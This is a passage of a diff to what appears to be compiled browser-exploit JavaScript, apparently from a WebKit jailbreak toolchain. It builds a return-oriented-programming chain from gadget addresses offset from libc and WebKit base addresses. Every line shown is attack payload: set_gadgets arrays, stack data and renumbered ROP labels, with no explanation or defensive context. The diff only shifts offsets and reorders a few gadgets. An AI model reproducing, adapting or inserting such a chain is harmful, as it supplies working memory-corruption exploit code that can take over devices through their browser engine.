set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+103496, //L985 +ropchain+103480, //L985 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+103480, //L984 +ropchain+103464, //L983 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L984: +//L983: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L985: @@ -6470,15 +6468,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+103640, //L988 +ropchain+103624, //L988 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+103608, //L986 +ropchain+103592, //L986 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+103624, //L987 +ropchain+103608, //L987 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -6495,7 +6493,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+103712, //L989 +ropchain+103696, //L989 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6505,12 +6503,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+103768, //L992 +ropchain+103752, //L991 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L992: +//L991: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -6519,25 +6517,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+103848, //L994 +ropchain+103832, //L994 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L994: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L993: -db([4, 0]); // 0x4 set_gadget(libc_base+792472,); //pop rcx -//L995: +//L993: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L995: +db([4, 0]); // 0x4 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+103952, //L996 +ropchain+103936, //L996 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+103968, //L997 +ropchain+103952, //L997 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -6555,7 +6553,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+104056, //L998 +ropchain+104040, //L998 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6565,12 +6563,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+104112, //L1001 +ropchain+104096, //L1000 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1001: +//L1000: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -6583,29 +6581,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+104232, //L1004 +ropchain+104200, //L1002 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1002: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1004: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1003: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+104336, //L1007 +ropchain+104320, //L1007 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+104320, //L1006 +ropchain+104304, //L1005 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1006: +//L1005: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1007: @@ -6613,15 +6611,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+104480, //L1010 +ropchain+104464, //L1010 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+104448, //L1008 +ropchain+104432, //L1008 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+104464, //L1009 +ropchain+104448, //L1009 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -6638,7 +6636,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+104552, //L1011 +ropchain+104536, //L1011 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6648,12 +6646,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+104608, //L1014 +ropchain+104592, //L1013 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1014: +//L1013: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -6662,25 +6660,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+104688, //L1016 +ropchain+104672, //L1016 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1016: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1015: -db([18, 0]); // 0x12 set_gadget(libc_base+792472,); //pop rcx -//L1017: +//L1015: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1017: +db([18, 0]); // 0x12 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+104792, //L1018 +ropchain+104776, //L1018 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+104808, //L1019 +ropchain+104792, //L1019 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -6698,7 +6696,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+104896, //L1020 +ropchain+104880, //L1020 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6708,19 +6706,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+104952, //L1023 +ropchain+104936, //L1022 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1023: +//L1022: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+105024, //L1024 +ropchain+105008, //L1024 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6730,12 +6728,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+105080, //L1027 +ropchain+105064, //L1026 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1027: +//L1026: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -6747,7 +6745,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575, //pop rax //L1028: -webkit_base+7438103, //mov [rsi], rax +webkit_base+4648696, //mov [rsi], rax ; mov al, 1 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -6755,29 +6753,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+105232, //L1031 +ropchain+105200, //L1029 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1029: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1031: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1030: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+105336, //L1034 +ropchain+105320, //L1034 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+105320, //L1033 +ropchain+105304, //L1032 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1033: +//L1032: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1034: @@ -6785,15 +6783,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+105480, //L1037 +ropchain+105464, //L1037 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+105448, //L1035 +ropchain+105432, //L1035 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+105464, //L1036 +ropchain+105448, //L1036 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -6810,7 +6808,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+105552, //L1038 +ropchain+105536, //L1038 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6820,12 +6818,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+105608, //L1041 +ropchain+105592, //L1040 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1041: +//L1040: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -6834,25 +6832,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+105688, //L1043 +ropchain+105672, //L1043 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1043: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1042: -db([19, 0]); // 0x13 set_gadget(libc_base+792472,); //pop rcx -//L1044: +//L1042: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1044: +db([19, 0]); // 0x13 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+105792, //L1045 +ropchain+105776, //L1045 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+105808, //L1046 +ropchain+105792, //L1046 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -6870,7 +6868,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+105896, //L1047 +ropchain+105880, //L1047 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6880,19 +6878,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+105952, //L1050 +ropchain+105936, //L1049 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1050: +//L1049: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+106024, //L1051 +ropchain+106008, //L1051 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6902,12 +6900,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+106080, //L1054 +ropchain+106064, //L1053 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1054: +//L1053: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -6927,29 +6925,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+106232, //L1058 +ropchain+106200, //L1056 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1056: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1058: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1057: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+106336, //L1061 +ropchain+106320, //L1061 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+106320, //L1060 +ropchain+106304, //L1059 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1060: +//L1059: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1061: @@ -6957,15 +6955,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+106480, //L1064 +ropchain+106464, //L1064 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+106448, //L1062 +ropchain+106432, //L1062 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+106464, //L1063 +ropchain+106448, //L1063 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -6982,7 +6980,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+106552, //L1065 +ropchain+106536, //L1065 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6992,12 +6990,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+106608, //L1068 +ropchain+106592, //L1067 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1068: +//L1067: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -7006,25 +7004,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+106688, //L1070 +ropchain+106672, //L1070 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1070: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1069: -db([20, 0]); // 0x14 set_gadget(libc_base+792472,); //pop rcx -//L1071: +//L1069: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1071: +db([20, 0]); // 0x14 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+106792, //L1072 +ropchain+106776, //L1072 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+106808, //L1073 +ropchain+106792, //L1073 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -7042,7 +7040,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+106896, //L1074 +ropchain+106880, //L1074 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7052,19 +7050,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+106952, //L1077 +ropchain+106936, //L1076 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1077: +//L1076: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+107024, //L1078 +ropchain+107008, //L1078 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7074,12 +7072,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+107080, //L1081 +ropchain+107064, //L1080 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1081: +//L1080: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -7099,29 +7097,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+107232, //L1085 +ropchain+107200, //L1083 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1083: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1085: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1084: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+107336, //L1088 +ropchain+107320, //L1088 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+107320, //L1087 +ropchain+107304, //L1086 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1087: +//L1086: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1088: @@ -7129,15 +7127,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+107480, //L1091 +ropchain+107464, //L1091 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+107448, //L1089 +ropchain+107432, //L1089 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+107464, //L1090 +ropchain+107448, //L1090 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -7154,7 +7152,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+107552, //L1092 +ropchain+107536, //L1092 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7164,12 +7162,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+107608, //L1095 +ropchain+107592, //L1094 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1095: +//L1094: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -7178,25 +7176,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+107688, //L1097 +ropchain+107672, //L1097 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1097: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1096: -db([21, 0]); // 0x15 set_gadget(libc_base+792472,); //pop rcx -//L1098: +//L1096: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1098: +db([21, 0]); // 0x15 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+107792, //L1099 +ropchain+107776, //L1099 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+107808, //L1100 +ropchain+107792, //L1100 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -7214,7 +7212,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+107896, //L1101 +ropchain+107880, //L1101 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7224,19 +7222,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+107952, //L1104 +ropchain+107936, //L1103 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1104: +//L1103: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+108024, //L1105 +ropchain+108008, //L1105 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7246,12 +7244,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+108080, //L1108 +ropchain+108064, //L1107 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1108: +//L1107: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -7262,29 +7260,29 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+108184, //L1111 +ropchain+108152, //L1109 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1109: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L1111: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1110: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+108288, //L1114 +ropchain+108272, //L1114 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+108272, //L1113 +ropchain+108256, //L1112 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1113: +//L1112: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1114: @@ -7292,15 +7290,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+108432, //L1117 +ropchain+108416, //L1117 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+108400, //L1115 +ropchain+108384, //L1115 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+108416, //L1116 +ropchain+108400, //L1116 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -7317,7 +7315,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+108504, //L1118 +ropchain+108488, //L1118 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7327,12 +7325,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+108560, //L1121 +ropchain+108544, //L1120 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1121: +//L1120: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -7341,25 +7339,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+108640, //L1123 +ropchain+108624, //L1123 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1123: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1122: -db([3, 0]); // 0x3 set_gadget(libc_base+792472,); //pop rcx -//L1124: +//L1122: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1124: +db([3, 0]); // 0x3 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+108744, //L1125 +ropchain+108728, //L1125 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+108760, //L1126 +ropchain+108744, //L1126 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -7377,7 +7375,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+108848, //L1127 +ropchain+108832, //L1127 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7387,12 +7385,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+108904, //L1130 +ropchain+108888, //L1129 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1130: +//L1129: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -7405,29 +7403,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+109024, //L1133 +ropchain+108992, //L1131 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1131: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1133: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1132: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+109128, //L1136 +ropchain+109112, //L1136 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+109112, //L1135 +ropchain+109096, //L1134 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1135: +//L1134: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1136: @@ -7435,15 +7433,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+109272, //L1139 +ropchain+109256, //L1139 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+109240, //L1137 +ropchain+109224, //L1137 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+109256, //L1138 +ropchain+109240, //L1138 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -7460,7 +7458,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+109344, //L1140 +ropchain+109328, //L1140 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7470,12 +7468,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+109400, //L1143 +ropchain+109384, //L1142 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1143: +//L1142: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 